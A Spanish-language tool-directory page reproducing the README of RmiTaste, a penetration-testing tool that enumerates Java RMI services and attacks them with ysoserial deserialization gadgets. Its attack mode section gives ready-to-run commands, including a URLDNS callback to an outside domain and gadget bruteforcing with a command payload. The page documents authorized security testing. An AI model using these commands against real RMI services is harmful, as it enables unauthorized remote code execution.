Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
RmiTaste — Herramienta de pruebas de seguridad de Java RMI para detectar, enumerar y explotar servicios RMI inseguros utilizando gadgets de deserialización de ysoserial para lograr la ejecución remota de código. | Kitploit
Herramientas/GitHubGitHub/stmcyber/rmitaste
Análisis de VulnerabilidadesExplotaciónPruebas de Penetración
GitHubstmcyber/rmitaste

RmiTaste

Herramienta de pruebas de seguridad de Java RMI para detectar, enumerar y explotar servicios RMI inseguros utilizando gadgets de deserialización de ysoserial para lograr la ejecución remota de código.

Ver RepositorioSitio web
1092017hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

License

RmiTaste

RmiTaste permite a los profesionales de seguridad detectar, enumerar, interactuar y atacar servicios RMI mediante la llamada a métodos remotos con gadgets de ysoserial. También permite llamar a métodos remotos con parámetros específicos.

Aviso de responsabilidad

RmiTaste fue creado para ayudar a profesionales de seguridad a identificar servicios RMI inseguros en sistemas para los cuales el usuario tiene permiso previo para atacar. El acceso no autorizado a sistemas informáticos es ilegal y RmiTaste debe utilizarse de acuerdo con todas las leyes aplicables. No hacerlo podría dar lugar a un proceso judicial. Los desarrolladores de RmiTaste no asumen ninguna responsabilidad y no se hacen responsables de ningún uso indebido o daño causado por este programa.

Construcción y ejecución

Requiere openjdk 11.0.3.

  1. Descargar ysoserial-master-SNAPSHOT.jar y guardarlo en el directorio libs_attack (https://github.com/frohoff/ysoserial).
  2. Construir el proyecto usando maven:
    root@kitploit:~
    mvn package
    
  • Ejecutar el comando:
    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    
    
     __________        ._____________                __
     \______   \ _____ |__\__    ___/____    _______/  |_  ____
     |       _//     \|  | |    |  \__  \  /  ___/\   __\/ __ \
     |    |   \  Y Y  \  | |    |   / __ \_\___ \  |  | \  ___/
     |____|_  /__|_|  /__| |____|  (____  /____  > |__|  \___  >
           \/      \/                  \/     \/            \/
     @author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
    
    Warning: RmiTaste was written to aid security professionals in identifying the
             insecure use of RMI services on systems which the user has prior
             permission to attack. RmiTaste must be used in accordance with all
             relevant laws. Failure to do so could lead to your prosecution.
             The developers assume no liability and are not responsible for any
             misuse or damage caused by this program.
    
    
  • Uso

    RmiTaste tiene 4 modos: conn, enum, attack y call. Cada modo tiene una ayuda separada.

    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    (...)
    Usage: <main class> [-h] [COMMAND]
      -h, --help   display this help message
    Commands:
      conn    check connection to host
      enum    enumerate RMI service
      attack  attack RMI registry methods
      call    call specific method on RMI remote object
    

    Modo conn

    El modo conn permite comprobar si el puerto es un puerto de servicio RMI.

    root@kitploit:~
    # Check if 127.0.0.1:1099 is RMI Service
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099
    

    Modo enum

    El modo enum permite obtener información sobre el servicio RMI, como: nombres de objetos remotos y nombres de clases que el objeto remoto implementa o extiende. Si la interfaz implementada por el objeto remoto está disponible en el classpath de RmiTaste, entonces RmiTaste mostrará todos los métodos remotos que se pueden llamar sobre ese objeto remoto.

    root@kitploit:~
    # RMI service enumeration
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
    

    Modo attack

    El modo attack permite llamar a un método remoto con una cadena de gadgets específica de ysoserial. Supongamos que el objeto remoto tiene los siguientes métodos:

    root@kitploit:~
    acc1 [object] [127.0.1.1:38293] 
             implements java.rmi.Remote [interface]
             extends java.lang.reflect.Proxy [class]
             implements m0.rmitaste.example.server.ClientAccount [interface]
                    setPin(java.lang.String param0); [method]
                            Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                    getBalance(); [method]
                    deposit(java.lang.Object param0); [method]
                            Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                    withdraw(float param0); [method]
    
    root@kitploit:~
    # Call all remote methods with URLDNS gadget as parameter
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
    
    root@kitploit:~
    # Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with URLDNS gadget as parameter
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"
    

    La opción "-gen bruteforce" permite hacer fuerza bruta sobre métodos remotos con gadgets de ysoserial. En este ejemplo, el método deposit se llamará varias veces con gadgets de ysoserial.

    root@kitploit:~
    # Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with gadgets from ysoserial and command ping 127.0.0.1
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"
    

    Modo call

    El modo call permite llamar a un método específico sobre un objeto remoto RMI. Supongamos que el objeto remoto tiene los siguientes métodos:

    root@kitploit:~
    acc1 [object] [127.0.1.1:38293] 
             implements java.rmi.Remote [interface]
             extends java.lang.reflect.Proxy [class]
             implements m0.rmitaste.example.server.ClientAccount [interface]
                    setPin(java.lang.String param0); [method]
                            Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                    getBalance(); [method]
                    deposit(java.lang.Object param0); [method]
                            Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                    withdraw(float param0); [method]
    
    root@kitploit:~
    # Call m0.rmitaste.example.server.ClientAccount.getBalance method on acc1 remote object
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
    
    root@kitploit:~
    # Call m0.rmitaste.example.server.ClientAccount.setPin("1234") method on acc1 remote object
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"
    

    Ejemplos

    El servidor de demostración está disponible aquí.

    1. Ejecutar el servidor de demostración.

    2. Enumerar el objetivo.

    root@kitploit:~
    root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
    acc1 [object] [127.0.1.1:42881] 
       extends java.rmi.server.RemoteObjectInvocationHandler [class]
       implements java.rmi.Remote [interface]
       extends java.lang.reflect.Proxy [class]
       extends java.rmi.server.RemoteObject [class]
       implements m0.rmitaste.example.server.ClientAccount [interface]
      	No methods found. I don't have remote object interface. Give it to me!
    
    acc2 [object] [127.0.1.1:42881] 
       extends java.rmi.server.RemoteObjectInvocationHandler [class]
       implements java.rmi.Remote [interface]
       extends java.lang.reflect.Proxy [class]
       extends java.rmi.server.RemoteObject [class]
       implements m0.rmitaste.example.server.ClientAccount [interface]
      	No methods found. I don't have remote object interface. Give it to me!
    

    Como puede ver, RmiTaste necesita la interfaz del objeto remoto. Durante las pruebas de penetración, deberá encontrar esta interfaz. En este ejemplo, simplemente copie rmitaste.examples-1.0-SNAPSHOT-all.jar al directorio libs_attack. Vuelva a enumerar el objetivo:

    root@kitploit:~
    acc1 [object] [127.0.1.1:42881] 
       extends java.rmi.server.RemoteObjectInvocationHandler [class]
       implements java.rmi.Remote [interface]
       extends java.lang.reflect.Proxy [class]
       extends java.rmi.server.RemoteObject [class]
       implements m0.rmitaste.example.server.ClientAccount [interface]
      	setPin(java.lang.String param0); [method]
      		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
      	getBalance(); [method]
      	deposit(java.lang.Object param0); [method]
      		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
      	withdraw(float param0); [method]
    
    acc2 [object] [127.0.1.1:42881] 
       extends java.rmi.server.RemoteObjectInvocationHandler [class]
       implements java.rmi.Remote [interface]
       extends java.lang.reflect.Proxy [class]
       extends java.rmi.server.RemoteObject [class]
       implements m0.rmitaste.example.server.ClientAccount [interface]
      	setPin(java.lang.String param0); [method]
      		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
      	getBalance(); [method]
      	deposit(java.lang.Object param0); [method]
      		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
      	withdraw(float param0); [method]
    
    

    Autor

    Twitter: @_mzer0

    Inspirado por: BaRMIe y @h0ng10 artículo

    Descargar herramienta